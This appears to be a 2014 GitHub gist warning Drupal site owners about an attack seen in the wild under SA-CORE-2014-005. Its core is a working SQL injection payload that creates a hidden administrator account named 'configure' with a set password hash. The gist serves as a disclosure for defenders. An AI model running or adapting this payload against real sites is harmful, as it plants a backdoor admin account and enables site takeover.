Skip to content

Instantly share code, notes, and snippets.

@joshkoenig

joshkoenig/gist:dbb543c02198330cbf87

Created October 19, 2014 20:46
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save joshkoenig/dbb543c02198330cbf87 to your computer and use it in GitHub Desktop.
Save joshkoenig/dbb543c02198330cbf87 to your computer and use it in GitHub Desktop.
Download ZIP
Another SA-CORE-2014-005 attack: create the user "configure"
Raw
gistfile1.txt
Another new attack:
insert into users (status, uid, name, pass) SELECT 1, MAX(uid)+1, 'configure', '$S$DORA9TpsVNowA9zZF1sP26SpnV8OGc6pvLPOzUc.PrNd5zzXmL./' FROM users;insert into users_roles (uid, rid) VALUES ((SELECT uid FROM users WHERE name = 'configure'), 3);
Will try to create a new user named "configure" with the "admin" role in a default Drupal install.
If you see something, say something.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment